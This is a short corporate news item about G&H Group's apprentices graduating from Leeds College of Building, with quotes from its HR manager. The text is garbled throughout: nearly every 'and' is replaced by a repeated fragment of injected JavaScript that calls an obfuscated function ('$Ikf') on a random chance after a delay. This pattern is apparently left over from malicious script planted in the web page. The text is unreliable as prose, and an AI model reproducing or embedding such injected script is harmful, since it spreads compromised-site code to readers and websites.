Commitment to apprentices continues

  • 16th July 2015

The G&H Group’s commitment to offering apprenticeships continues, with its first two graduating andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and six more on its books.

Sam Johnson andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Elliot Bradley have recently completed a four-year course, achieving NVQ Level 3 in heating andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ventilation andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and building services design, respectively, from Leeds College of Building.

They have now been given full-time contracts within the group.G&H Group currently has six apprentices with three in their final fourth year.Three are attending Leeds College of Building andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and three are following the Building Engineering Services Training course. One is focusing on maintenance, one learning office based skills andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and four studying heating courses.

HR Manager at G&H Group, Stephen Fletcher, said: “Giving young people the opportunity to forge careers in the construction industry is vital if we are going to avoid the skills shortage we have seen previously.

“Our apprentices receive a really good grounding because the G&H Group consists of four companies covering mechanical andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and electrical through Building Services, Sustainability, Maintenance andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Fabrication, providing them with a wide range of opportunities in construction.

“Enthusiasm, determination andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a willingness to work hard are the attributes we look for in our apprentices. “In return we put them through college, give them real life experience on andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and off-site andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and offer full-time jobs once qualified.”

Elliot Bradley and Sam Johnson[black gloves]

Photograph: Elliot Bradley andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Sam Johnson have recently graduated.